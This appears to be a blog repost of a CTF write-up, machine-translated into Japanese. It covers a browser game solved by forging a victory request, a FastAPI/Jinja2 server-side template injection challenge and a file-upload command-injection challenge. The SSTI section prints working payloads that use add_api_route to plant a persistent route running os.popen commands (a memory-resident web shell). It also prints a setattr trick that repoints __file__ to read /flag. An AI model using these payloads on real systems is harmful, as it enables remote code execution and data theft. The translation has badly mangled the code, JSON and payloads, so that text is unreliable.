Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86398710

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

web

EncirclingGame

質問説明:簡単なゲーム、それを楽しんで、それを完了したら旗を入手してください。トピックを開始してください、フロントエンドミニゲーム、赤いドットimage-20240817132551392を取得しないでください

レベルを直接再生して渡しますimage-20240817133147345

演奏せずに旗を獲得する方法を見てみましょう。フラグはバックエンドPHPファイルに保存されており、フロントエンドには見つかりません。レッドドットの最後の位置とファイアウォールの位置(ブラックドット)を記録するゲームのリクエストパッケージをご覧ください。image-20240817134012060

それでは、ファイアウォールは円に囲まれていますが、赤い点は真ん中にあります。ルーティング:/verifyvictory.php

方法:post {'Gamestate ': {' virusposition': {'x':5、' y':5}、 'firewalls': [{' x': 0、 'y': 0}、{' x': 1、 'y'3360 0} {'x': 2、' y': 0}、{'x': 3、' y': 0}、{'x': 4、' y': 0}、{'x': 5、' y'3360 0 0}、{'x': 7、' y': 0}、{'x': 8、' y': 0}、{'x': 9、' y': 0}、{'x': 10、' y': 0}、{'x': 'y': 10}、{' x': 1、 'y': 10}、{' x': 2、 'y': 10}、{' x': 3、 'y': 10}、{' x': 4、 '': 10 5、 'y': 10}、{' x': 6、 'y': 10}、{' x': 10}、{'x':' y': 10}、{'x'3360 9 {'x': 10、' y': 10}、{'x': 0、' y': 3}、{'x': 0、' y': 4}、{'x': 0、' y': 6}、{'x': 0、' y': 7}、{'x': 0、' y': 8}、{'x': 0、' y': 9}、{'x': 10、' y': 1}、{'x': 'Y': 2}、{' x': 10、 'y': 3}、{' x': 10、 'y': 4}、{' x': 10、 'y': 5}、{' x': 10 10、 'y': 7}、{' x': 10、 'y': 8}、{' x': 9}]}、 'token':'game-lab-token'}プロジェクトを開始すると、ソースコードimage-20240817122126538を直接与えました

インポートOS#オペレーティングシステム関連モジュールのインポートJinja2#インポートJinja2テンプレートエンジンモジュールインポート#インポート#インポートツール機能モジュール、高度な機能を提供するuvicorn#インポートuvicorn#fastapiインポートFastapi#インポートファーストアピクラスからASGIアプリケーションを実行するためにASGIアプリケーションを実行するためにASGIアプリケーションを実行するためにASGIアプリケーションを実行して、FASTAPI.TEMPLATING IMPLATITION APPLATIONSから作成します。 AnyioのインポートからレンダリングするテンプレートのFastapiのJinja2Templates fail_after、睡眠#インポートAnyioライブラリからのインポートタイムアウトを設定するために使用し、非同期睡眠のためにスリープ

#使用するライブラリのバージョンを指定します:#jinja2==3.1.2#uvicorn==0.30.5#fastapi==0.112.0

def timeout_after(timeout: int=1):#タイムアウトデコレータを定義する、デフォルトのタイムアウトは1秒のdefデコレーター(func):です##parameter @functools.wraps(func)#decorator async def wrapper(** kwargs)のメタ情報を保持します。 faile_after(タイムアウト):のラッパー#指定されたタイムアウトリターンウェイブfunc(*args、** kwargs)内でデコレーター関数を実行してください。

デコレーターを返す#returnデコレーター関数

app=fastapi()#fastapiアプリケーションインスタンスアクセスを作成=false#アクセス許可を制御するためのグローバル変数を定義します

_base_path=os.path.dirname(os.path.abspath(__ file__))

@app.get( '/')#ルートパスのゲットリクエストを処理するルートを定義します@timeout_after(1)#タイムアウトデコレーターを使用して、タイムアウトを1秒の非同期DEFインデックス():に設定します#非同期処理機能を定義します。

@app.get( ' /calc')# /計算パスを処理するゲットリクエストのルートを定義します@Timeout_after(1) (calc_reqのchar.isdigit()calc_reqのchar.isdigit())または(calc_reqの '%\')またはnot not not not not not not calc_req.isascii()またはaccess:#calc_reqに数値文字が含まれているか、「%」が含まれているか、またはそれらがすべてasciiのキャラクターであるかどうかを確認するかどうかを確認します。 jinja2.environment(loader=jinja2.baseloader())。 #さらにアクセスを制限するためにtrueにアクセスを設定します。

__name__=='__main __' :#それがメインプログラムの入り口uvicorn.run(app、host='0.0.0'、port=8000)であるかどうかを決定します。制限は、数値文字、または文字「%」、またはすべてのASCII文字、またはアクセスを含めることができないことです。同時に、アクセスが真である限り、再び入力することはできないため、環境を再起動する必要があります(NSS round20 Iは、この方法で質問が作成されたリポジトリのメモリも検索しました。 /flag ')。read())は、add_url_ruleを同時に置き換えるため、次のようにsstipayloadに変換する必要があります{{config .__ class __.__ init __.__ Globals __ ['__ Builtins __']。eval( '__ import __(' sys ')。モジュール[' __ main __ '] .__ dict __ [' app ']。add_api_route('/flag '、lambda:__import __(' os ') /flag').Read())')} payload: /calc?calc_req=config.__class__.__init__.__globals__ ['__builtins__'] .eval('__import__('sys').m odules ['__ main __'] .__ dict __ ['app']。add_api_route( '/flag'、lambda:__import __( 'os')。popen( 'cat /flag ')。読み取り())')

Fastapi Memory Horseをプレイすると、FastapiクラスにADD_API_ROUTEメソッドがあります。この方法を通るルートを追加して、RCEを実行できます

app.add_api_route( '/shell'、lambda: __import __( 'os')。popen( 'whoami')。read())アプリを再ゲットする必要があります。

__import __( 'sys')。モジュール['__ main __'] .__ dict __ ['app']

Sys.Modules:SYSモジュールには、すべてのインポートモジュールの現在の状態を維持するモジュールと呼ばれる辞書があります。この辞書のキーはモジュールの名前であり、値は対応するモジュールオブジェクトです。モジュール['__ main__']:__main__は、コマンドラインから直接実行されるスクリプトであろうと、実行環境を実行するコードであろうと、Pythonプログラムを実行するメインモジュールです。 sys.modules ['__ main__']を介して、現在実行中のプログラムのメインモジュールオブジェクトを取得します。 __dict__:各モジュールオブジェクトには__dict__属性があります。これは、モジュールで定義されているすべてのグローバル変数と関数を含む辞書です。 ['App']:最後に、モジュールの__dict__から名前付きアプリというオブジェクトを取得します。次に、次のペイロードを統合します。

app .__ init __.__ Globals __.__ builtins __。eval( '__ import __(' sys ')。モジュール[' __ main __ '] .__ dict __ [' app ']。add_api_route(' /shell '、lambda :__import __(' os ')。

さて、 /シェルにアクセスして旗を獲得します

方法3:任意のファイルを読み取る任意のファイルについて__file__を変更します

@app.get( '/')@timeout_after(1)async def index(): return open(__ file __)。read()

現在のコードファイルコンテンツは読み取り、Webページに出力されます。次に、__file__ to /flagを変更できれば、ルートルートにアクセスするとフラグを取得できます。

__File__はグローバル変数グローバルにあります

setattr(__ Import __( 'sys')。モジュール['__ main __']、 '__ file __'、 '/flag')は、setattr(オブジェクト、名前、値)メソッドを使用してオブジェクトのプロパティ値を変更します。

オブジェクト - オブジェクト。名前- 文字列、オブジェクト属性。値- 属性値。

Q:__import __( 'sys')を使用してみませんか。モジュール['__ main __'] .__ dict__、__file__は明らかにここにありますか?

A:Setattr関数の最初の値はオブジェクトであるため、__dict__はオブジェクトではなく__main__の属性です。

ペイロードを統合します:

app .__ init __.__ Globals __.__ builtins __。eval( 'setattr(__ import __(' sys ')。モジュール[' __ main __ ']、' __ file __ '、'/flag '))システム内のフラグファイルをお読みください。プロジェクトはログインボックスで、登録オプションimage-20240817120527144

敏感なディレクトリをスキャン:/admin.html/upload.php/admin.htmlルートにはファイルアップロード機能とコマンド入力ボックスimage-20240817214352183があります

無効な文字は、アップロード時に常に表示されます。いくつかのパケットの試行後、アップロードされたコマンド文字列が制限されているはずであり、1つの文字のフィルタリングである可能性があります。質問WAFコマンドパートファズに1つの文字を実行します。 /、そして一目で一時ファイルを実行します。 /t*/*

英数字RCE(CTFSHOW Webはじめに56)への参照_RCE-CSDNブログすべての文字と数字をろ過

t、 /、image-20240817214855339のみが許可されています

同時に、ファイル部品をアップロードすることはできません。私はおそらく、ホワイトリストのキャラクター、ctfshow永遠の神を見る手がかりがあるでしょう! PHPでは、ファイルが強制的にアップロードされると、ファイルは一時ファイル /TMP /PHPに存在します